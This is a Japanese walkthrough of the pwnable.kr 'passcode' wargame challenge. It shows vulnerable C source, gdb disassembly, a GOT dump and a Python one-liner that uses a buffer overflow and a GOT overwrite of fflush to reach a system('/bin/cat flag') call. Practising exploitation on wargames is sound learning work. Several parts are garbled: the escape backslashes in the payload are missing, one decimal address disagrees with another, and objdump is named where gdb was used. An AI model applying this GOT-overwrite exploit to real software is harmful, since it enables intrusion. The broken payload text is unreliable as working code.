pwnable #5 passcodeの日本語writeupは意外とないもんですね。
わかんなかったので他人のwriteup見ちゃいました。
(あとこの問題では使いませんが他の問題でダウンロードさせられるDMSファイルはMacやWindowsだと開くのが面倒なのでLinuxで開きましょう。
MacでUnarchiverというソフトを使えるとDMSファイルを開けるらしいのですが、「ファイル*の内容は、このプログラムでは展開できません」とエラーが出てしまいます。
fileコマンドで調べるとELF64実行ファイルと出てきますし素直にLinuxで開きましょう。)
調査
ssh passcode@pwnable.kr -p2222
と書いてあるので接続します。(pw:guest)と末尾にあるようにログインパスワードはguestです。
passcodeとpasscode.cとflagが置いてあります。
passcodeを実行すると
passcode@ubuntu:~$ ./passcode Toddler's Secure Login System 1.0 beta. enter you name : admin Welcome admin! enter passcode1 : aaaa enter passcode2 : checking... Login Failed!
となります。(この例ではyou nameにadmin、passcode1にaaaaを入力しました)
セグメンテーションフォールトを起こしています。
passcode@ubuntu:~$ cat passcode.c #include <stdio.h> #include <stdlib.h> void login(){ int passcode1; int passcode2; printf("enter passcode1 : "); scanf("%d", passcode1); fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :) printf("enter passcode2 : "); scanf("%d", passcode2); printf("checking...n"); if(passcode1==338150 && passcode2==13371337){ printf("Login OK!n"); system("/bin/cat flag"); } else{ printf("Login Failed!n"); exit(0); } } void welcome(){ char name[100]; printf("enter you name : "); scanf("%100s", name); printf("Welcome %s!n", name); } int main(){ printf("Toddler's Secure Login System 1.0 beta.n"); welcome(); login(); // something after login... printf("Now I can safely trust you that you have credential :)n"); return 0; }
catでソースコードpasscode.cを見て見ますと、10行目と15行目でscanfに変数を指すアドレスを渡すべきところを、変数を直接渡しています。
よって本来書き込んではいけない場所に書き込むことになりセグメンテーションフォールトを起こしているようです。
ここが
scanf("%d", &passcode1); scanf("%d", &passcode2);
のように&をつけてあれば、scanf関数は正しくpasscode1や2に書き込んでくれたのですが…。
解法
おおまかな方針
これを逆手に取ると、passcode1やpasscode2に格納された(かつ書き込み可能な)好きなアドレスの指す先に、scanf関数で書き込むことができます。
今回は、ソースコード20行目のflagを開くところにジャンプしたいです。
その直後のfflush関数の呼び出しで20行目前にジャンプするために、
passcode1の指す先をfflush関数を指しているGOT(GlobalOffsetTable)にしておき、scanfでpasscode1の指す先へ書き込む際にGOTを書き換え、fflushを呼び出す際にそのアドレスにジャンプするようにします。(GOT overwrite攻撃)
そしてpasscode1にfflushのGOTのアドレスを書き込むためには、一番最初のname入力時にBOF(BufferOverflow)を利用します。
これがこの問題を解くためのアイデアです。(pwnって難しいよねー)
GOTとは
ちなみに、GOTの役割ですが、
関数が呼ばれる際はまずPLT(ProcedureLinkageTable)にジャンプします。
PLTは、本当の関数のアドレスが入っているGOTを参照し、間接的にジャンプするのですが、最初はGOTに値が入っていません。なので初回だけ、GOTに本当の関数のアドレスを入れてくれる手続きにジャンプします。
このようにして動的リンクを実現している…らしいですが、GOTが書き換え可能だとGOT Overwrite攻撃みたいに書き換えて好きな場所に飛ばされるので、
最初にGOTは全部書き込んで置いて、書き込み不可にする!ってのがFull RELRO(RELocation Read Only)らしいです。この場合でも別な方法で好き勝手されはしますけど。
解法の詳細
passcode@ubuntu:~$ gdb passcode (gdb) disas login Dump of assembler code for function login: 0x08048564 <+0>: push %ebp 0x08048565 <+1>: mov %esp,%ebp 0x08048567 <+3>: sub $0x28,%esp 0x0804856a <+6>: mov $0x8048770,%eax 0x0804856f <+11>: mov %eax,(%esp) 0x08048572 <+14>: call 0x8048420 <printf plt=""> 0x08048577 <+19>: mov $0x8048783,%eax 0x0804857c <+24>: mov -0x10(%ebp),%edx 0x0804857f <+27>: mov %edx,0x4(%esp) 0x08048583 <+31>: mov %eax,(%esp) 0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf plt=""> 0x0804858b <+39>: mov 0x804a02c,%eax 0x08048590 <+44>: mov %eax,(%esp) 0x08048593 <+47>: call 0x8048430 <fflush plt=""> 0x08048598 <+52>: mov $0x8048786,%eax 0x0804859d <+57>: mov %eax,(%esp) 0x080485a0 <+60>: call 0x8048420 <printf plt=""> 0x080485a5 <+65>: mov $0x8048783,%eax 0x080485aa <+70>: mov -0xc(%ebp),%edx 0x080485ad <+73>: mov %edx,0x4(%esp) 0x080485b1 <+77>: mov %eax,(%esp) 0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf plt=""> 0x080485b9 <+85>: movl $0x8048799,(%esp) 0x080485c0 <+92>: call 0x8048450 <puts plt=""> 0x080485c5 <+97>: cmpl $0x528e6,-0x10(%ebp) 0x080485cc <+104>: jne 0x80485f1 <login> 0x080485ce <+106>: cmpl $0xcc07c9,-0xc(%ebp) 0x080485d5 <+113>: jne 0x80485f1 <login> 0x080485d7 <+115>: movl $0x80487a5,(%esp) 0x080485de <+122>: call 0x8048450 <puts plt=""> 0x080485e3 <+127>: movl $0x80487af,(%esp) 0x080485ea <+134>: call 0x8048460 <system plt=""> 0x080485ef <+139>: leave 0x080485f0 <+140>: ret 0x080485f1 <+141>: movl $0x80487bd,(%esp) 0x080485f8 <+148>: call 0x8048450 <puts plt=""> 0x080485fd <+153>: movl $0x0,(%esp) End of assembler dump. Dump of assembler code for function welcome: 0x08048609 <+0>: push %ebp 0x0804860a <+1>: mov %esp,%ebp 0x0804860c <+3>: sub $0x88,%esp 0x08048612 <+9>: mov %gs:0x14,%eax 0x08048618 <+15>: mov %eax,-0xc(%ebp) 0x0804861b <+18>: xor %eax,%eax 0x0804861d <+20>: mov $0x80487cb,%eax 0x08048622 <+25>: mov %eax,(%esp) 0x08048625 <+28>: call 0x8048420 <printf plt=""> 0x0804862a <+33>: mov $0x80487dd,%eax 0x0804862f <+38>: lea -0x70(%ebp),%edx 0x08048632 <+41>: mov %edx,0x4(%esp) 0x08048636 <+45>: mov %eax,(%esp) 0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf plt=""> 0x0804863e <+53>: mov $0x80487e3,%eax 0x08048643 <+58>: lea -0x70(%ebp),%edx 0x08048646 <+61>: mov %edx,0x4(%esp) 0x0804864a <+65>: mov %eax,(%esp) 0x0804864d <+68>: call 0x8048420 <printf plt=""> 0x08048652 <+73>: mov -0xc(%ebp),%eax 0x08048655 <+76>: xor %gs:0x14,%eax 0x0804865c <+83>: je 0x8048663 <welcome> 0x0804865e <+85>: call 0x8048440 <__stack_chk_fail plt=""> 0x08048663 <+90>: leave 0x08048664 <+91>: ret End of assembler dump. (gdb) disas main Dump of assembler code for function main: 0x08048665 <+0>: push %ebp 0x08048666 <+1>: mov %esp,%ebp 0x08048668 <+3>: and $0xfffffff0,%esp 0x0804866b <+6>: sub $0x10,%esp 0x0804866e <+9>: movl $0x80487f0,(%esp) 0x08048675 <+16>: call 0x8048450 <puts plt=""> 0x0804867a <+21>: call 0x8048609 <welcome> 0x0804867f <+26>: call 0x8048564 <login> 0x08048684 <+31>: movl $0x8048818,(%esp) 0x0804868b <+38>: call 0x8048450 <puts plt=""> 0x08048690 <+43>: mov $0x0,%eax 0x08048695 <+48>: leave 0x08048696 <+49>: ret End of assembler dump.
objdumpコマンドで逆アセンブルします。AT&T記法注意。(上の例ではHTMLなどで使う記号のエスケープを一部やってないので変な表示になっているかも)
ソースコード20行目のsystem関数でflagを開いてるのは、逆アセンブル結果では35行目に当たります。system関数を呼び出す準備(引数をスタックに積む)をしてるっぽい34行目にジャンプしたいので0x080485e3、つまり13451417にジャンプすれば良いです。
この例のwelcome関数の逆アセンブル結果54~57行目を抜き出しました。
0x0804862f <+38>: lea -0x70(%ebp),%edx 0x08048632 <+41>: mov %edx,0x4(%esp) 0x08048636 <+45>: mov %eax,(%esp) 0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf plt="">
welcome関数の中ではnameを聞くために一回だけscanfを使っています。name変数のアドレスをここの1行目のLEA(ロードエフェクティブアドレス)命令でeaxにロードしています。
よって変数nameは-0x70(%ebp)つまりEBP-0x70にあるらしいことがわかります。
そしてpasscode1の位置は…
login関数の逆アセンブル結果、11行目から14行目を見てください
0x0804857c <+24>: mov -0x10(%ebp),%edx 0x0804857f <+27>: mov %edx,0x4(%esp) 0x08048583 <+31>: mov %eax,(%esp) 0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf plt="">
ここの1行目でMOV命令を使っています。これは前述の通りscanfに変数のアドレスじゃなくて変数自体を渡してしまっているためです。
ここからさっきと同じく-0x10(%ebp)つまりEBP-0x10に変数passcode1があることがわかります。
0x70と0x10の差を取りますと96。
96バイトを適当なデータで埋め、その後の4バイト(ちょうどpasscode1の位置)を、書き込みたいアドレス(fflushを指してるGOTのアドレス)にします。
fflushを指してるGOTのアドレスは
passcode@ubuntu:~$ objdump -R passcode passcode: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ff0 R_386_GLOB_DAT __gmon_start__ 0804a02c R_386_COPY stdin@@GLIBC_2.0 0804a000 R_386_JUMP_SLOT printf@GLIBC_2.0 0804a004 R_386_JUMP_SLOT fflush@GLIBC_2.0 0804a008 R_386_JUMP_SLOT __stack_chk_fail@GLIBC_2.4 0804a00c R_386_JUMP_SLOT puts@GLIBC_2.0 0804a010 R_386_JUMP_SLOT system@GLIBC_2.0 0804a014 R_386_JUMP_SLOT __gmon_start__ 0804a018 R_386_JUMP_SLOT exit@GLIBC_2.0 0804a01c R_386_JUMP_SLOT __libc_start_main@GLIBC_2.0 0804a020 R_386_JUMP_SLOT __isoc99_scanf@GLIBC_2.7
から、0x0804a004だとわかりました。
よって、
最初の96バイトを無駄なAで埋め、次の4バイトをfflushを指すGOTのアドレスで埋め、最後にジャンプしたい先の0x080485e3、つまり13451417を入れます。
python -c "print 96*'A'+'x04xa0x04x08'+'134514147'"
となり、
python -c "print 96*'A'+'x04xa0x04x08'+'134514147'" | ./passcode
これでOKになります。
間に改行文字挟んでないのでわかりにくいですが、
96*'A'+'x04xa0x04x08'
までがnameに入力されます。BOFにより末尾の0x080485e3がちょうどpasscode1の部分に書き込まれます。ここまででちょうど100バイトですのでnameが受け取る入力は勝手にここまでになります。
(この後に’n’を挟むと101バイトになってしまい、次のpasscode1の入力になってしまいます…ので挟みませんが、挟んでもscanfは改行文字は区切り文字として見るので先頭なら改行文字が来ても結果は変わりません。)
'134514147'
がpasscode1の指す先(fflushを指しているGOT)に書き込まれます。
よってfflushを呼び出す際に0x080485e3にジャンプするというワケです。
注意点
なお前述の通り、逆アセンブル結果の、system関数の引数の準備をしている34行目(0x080485e3)でなくsystem関数を呼んでる35行目(0x080485ea)にダイレクトにジャンプすると
passcode@ubuntu:~$ python -c "print 96*'A'+'x04xa0x04x08'+'134514154'" | ./passcode Toddler's Secure Login System 1.0 beta. enter you name : Welcome AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA! sh: 1: Syntax error: word unexpected (expecting ")") enter passcode1 : Now I can safely trust you that you have credential :)
のようにエラーが出てしまいます。
コメント